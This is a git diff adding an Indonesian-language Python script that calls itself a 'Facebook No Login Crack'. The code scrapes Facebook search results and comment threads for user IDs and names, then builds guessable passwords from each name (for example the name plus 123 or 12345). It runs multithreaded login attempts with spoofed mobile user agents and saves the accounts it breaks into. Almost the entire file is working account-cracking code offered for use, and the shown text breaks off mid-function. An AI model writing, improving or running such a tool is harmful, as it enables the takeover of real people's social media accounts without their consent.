diff --git a/fbl.py b/fbl.py new file mode 100644 index 0000000..86258af --- /dev/null +++ b/fbl.py @@ -0,0 +1,282 @@ +#!/usr/bin/env python +# -*- coding with python 3.11 -*- + +### --- [ INFORMASI ] --- ### +Author = "BabasXD" +Github = "github.com/RozhBasXYZ" +Facebook = "facebook.com/ROZHBASXYZ" +Script = "Facebook No Login Crack Free Version 1.0" +Create = "15 February 2024" + +### --- [ IMPORT LIBRARY ] --- ### +import requests, re, random, sys, os, time, string, subprocess, bs4 +from concurrent.futures import ThreadPoolExecutor + +### --- [ WARNA PRINT ] --- ### +P = '\x1b[1;97m' # PUTIH +M = '\x1b[1;91m' # MERAH +H = '\x1b[1;92m' # HIJAU +K = '\x1b[1;93m' # KUNING + +### --- [ BAGIAN JAM ] --- ### +def kalender(): + struct_time = time.localtime(time.time()) + hari_indonesia = ["Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu","Minggu"] + hari = hari_indonesia[struct_time.tm_wday] + tanggal = time.strftime("%d", struct_time) + bulan = time.strftime("%B", struct_time) + tahun = time.strftime("%Y", struct_time) + jam = time.strftime("%H:%M:%S", struct_time) + return hari, tanggal, bulan, tahun, jam + +### --- [ MEMBUAT FOLDER ] --- ### +def buat_folder(): + folder = ["OK","CP"] + for x in folder: + try: os.mkdir("/sdcard/FBL {}".format(x)) + except Exception as e: pass + +### --- [ VARIABEL ] --- ### +hari, tanggal, bulan, tahun, jam = kalender() +hari_save = f"{hari}-{tanggal}-{bulan}-{tahun}.txt" +ses = requests.Session() +parser = bs4.BeautifulSoup +rr = random.randint +rc = random.choice +dump, ok, cp, loop, list_ua, hasil_akun = [], 0, 0, 0, [], [] + +### --- [ GENERATOR SANDI ] --- ### +def buat_data(akun): + user, nama = akun.split("|")[0], akun.split("|")[1].lower() + pwx, tampung = [], [] + belakang = ["123","1234","12345","123456"] + namd = nama.split()[0]; namful = nama.replace(" ","") + namb = nama.split()[-1] + if len(namful) > 5: pwx.append(namful); pwx.append(nama) + try: + nama.split()[1] + for isi in belakang: + pwx.append(namd+isi); pwx.append(namb+isi) + if len(namful) > 5: pwx.append(namful); pwx.append(nama) + except: + for isi in belakang: pwx.append(namd+isi) + for sandi in pwx: + if len(sandi) < 6 or sandi in tampung or len(''.join(filter(lambda x: not x.isdigit(), sandi))) < 3: continue + else: tampung.append(sandi) + return user+"|"+",".join(x for x in tampung) + +### --- [ FOR USERAGENT ] --- ### +for blade_team in ['re/realme', 'if/infinix']: + try: + link = parser(ses.get('https://whatmyuseragent.com/brand/'+blade_team).text, "html.parser") + list_ua.extend([re.findall('Android .*; (.*?) Build', z.text)[0] for z in link.find_all("td", {"class": "useragent"}) if 'Build' in z.text]) + except Exception as e: + list_ua.append('Redmi Note 10 Pro') + +def ua_rozh(): + rr = random.randint; rc = random.choice; andro = rr(8,14) + build = "Build/{}.{}.0{}".format(rc(['QP1A', 'SP1A', 'PPR1', 'RP1A', 'OPM1', 'TP1A', 'RKQ1', 'SKQ1']), rr(111111,333333), rr(10,20)) + chrome = "{}.0.{}.{}".format(rr(100,123), rr(1111,6500), rr(100,400)) + return f"Mozilla/5.0 (Linux; Android {andro}; {rc(list_ua)} {build}; wv) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser Chrome/{chrome} Mobile Safari/537.36" + +#while True: input(ua_rozh()) +### --- [ MENU UTAMA ] --- ### +def menu_utama(): + os.system('clear' if 'linux' in sys.platform.lower() else 'cls') + print(f'''{H} _______{P} ______ _____ +| ___| {H}__{P} \ |_ free blade +| ___| {H}__{P} < | facebook crack +|___| |______/{H}_______{P}| by {H}rozbasxyz{P}''') + nopo = input(f"\n[{H}1{P}] dump pencarian\n[{H}2{P}] dump komentar\n[{H}3{P}] dump nomor\n[{H}4{P}] dump email\n[{H}5{P}] dump random\n[{H}6{P}] dump file\n[{H}7{P}] cek hasil\n[{H}?{P}] menu : "); print() + if nopo == "1": Cari_Nama().apa_nama() + if nopo == "2": dump_komen() + if nopo == "3": dump_nomor() + if nopo == "4": dump_email() + if nopo == "5": dump_random() + if nopo == "6": dump_file() + if nopo == "7": cek_hasil() + else: menu_utama() + +###---[ CEK HASIL CRACK ]---### +def cek_hasil(): + no, nox, nom = 0, 0, [] + print(f"[{H}1{P}] cek hasil ok") + print(f"[{H}2{P}] cek hasil cp") + print(f"[{H}3{P}] batalkan proses") + one = input(f'[{H}?{P}] pilih : '); print() + if one in ['1','01']: + try:ok = os.listdir('/sdcard/FBL OK') + except: exit(f"[{M}!{P}] tidak hasil") + for x in ok: + if 'OK' in str(x): + nom.append(x); no+=1 + try: jum = open('/sdcard/FBL OK/'+x,'r').readlines() + except: jum = [''] + print(f'[{H}{no}{P}] {x} | {H}{len(jum)} {P}akun') + abc = input(f'[{H}?{P}] nomor file : '); print() + file = nom[int(abc)-1] + try:buka = open('/sdcard/FBL OK/'+file,'r').read().splitlines() + except: exit(f"[{M}!{P}] file tidak ada hasil ok") + for data in buka: nox += 1; print(f"[{H}{nox}{P}] {data}") + elif one in ['2','02']: + try:ok = os.listdir('/sdcard/FBL CP') + except:sys.exit(f"[{M}!{P}] tidak hasil") + for x in ok: + if 'CP' in str(x): + nom.append(x); no+=1 + try: jum= open('/sdcard/FBL CP/'+x,'r').readlines() + except: jum = [''] + print(f'[{K}{no}{P}] {x} | {K}{len(jum)} {P}akun') + abc = input(f'[{K}?{P}] nomor file : '); print() + file = nom[int(abc)-1] + try:buka = open('/sdcard/FBL CP/'+file,'r').read().splitlines() + except: exit(f"[{M}!{P}] file tidak ada hasil cp") + for data in buka: nox += 1; print(f"[{K}{nox}{P}] {data}") + else: menu_utama() + +### --- [ DUMP NAMA 2024 ] --- ### +class Cari_Nama: + def __init__(self): + self.daftar = [] + self.sudah = [] + + def apa_nama(self): + rozhbasxyz = input(f"[{H}!{P}] cukup satu nama saja\n[{H}?{P}] nama : ") + self.limit = input(f"[{H}!{P}] limit : "); print() + self.daftar.append(rozhbasxyz) + while True: + try: + name = rc(self.daftar) + if len(dump) >= int(self.limit): break + if name not in self.sudah: self.url = f"https://x.facebook.com/public/{name}/?locale=id_ID"; self.sudah.append(name); self.dump_nama() + except KeyboardInterrupt: break + print('\n\r '); exit(pilih_metode('')) + + def dump_nama(self): + while True: + try: + link = ses.get(self.url).text + A = re.findall('"FB:TEXT4">(.*?)', link); B = [] + if len(self.daftar)<=50: self.daftar.extend(i for i in A if i not in self.daftar) + B.extend(z for z in [x for x in re.findall('result_id:(\d+),', link)] if z not in B) + result = ['|'.join(pair) for pair in zip(B, A)] + dump.extend(t for t in result if t not in dump) + for s in result: print(f"\r[{H}!{P}] {s.split('|')[0]} | {len(dump)} ", flush=True, end="") + self.url=re.findall('"see_more_pager",href:"(.*?)",',link)[0] + except Exception as e: break + +### --- [ TANYA METODE ] --- ### +def pilih_metode(password): + global ok, cp + rozh = [z for z in random.sample(dump, len(dump))]; dump.clear(); dump.extend(rozh); daftar_url = ['free.facebook.com', 'm.prod.facebook.com', 'free.prod.facebook.com']; nomor = 1; bas = [] + for url in daftar_url: print(f"[{H}{nomor}{P}] {url}"); nomor += 1 + no_url = input(f"[{H}?{P}] pilih : "); print() + try: main_url = daftar_url[int(no_url)-1] + except: main_url = "free.facebook.com" + if password: + for data_akun in dump: + bas.append(data_akun+'|'+','.join(x for x in password)) + else: + for data_akun in dump: + bas.append(buat_data(data_akun)) + print(f"\r[{H}!{P}] akun ok : {H}OK{P}/{hari_save}") + print(f"[{H}!{P}] akun cp : {K}CP{P}/{hari_save}\n") + with ThreadPoolExecutor (max_workers=35) as rozh: + for data_akun in bas: + user, sandi = data_akun.split('|') + rozh.submit(metode_log, user, sandi.split(','), main_url) + print(f"\r[{H}!{P}] hasil crack ok:{H}{ok}{P} cp:{K}{cp}{P} dari {H}{len(dump)}{P} dump") + +### --- [ DUMP KOMEN 2024 ] --- ### +def dump_komen(): + next = 0 + print(f"[{H}!{P}] masukan link target") + target = input(f"[{H}?{P}] target : ") + print(f"[{H}!{P}] tekan ctrl c untuk stop dump\n") + if "app=fbl" in target: main_link = target.replace("www", "x").split("?app=fbl")[0] + else: main_link = target.replace("www", "x") + while True: + try: + rozh = False + link = ses.get(main_link+f"?p={next};refid=18;__tn__=-R") + for id,na in re.findall(r'data-sigil="feed_story_ring(\d+)".*?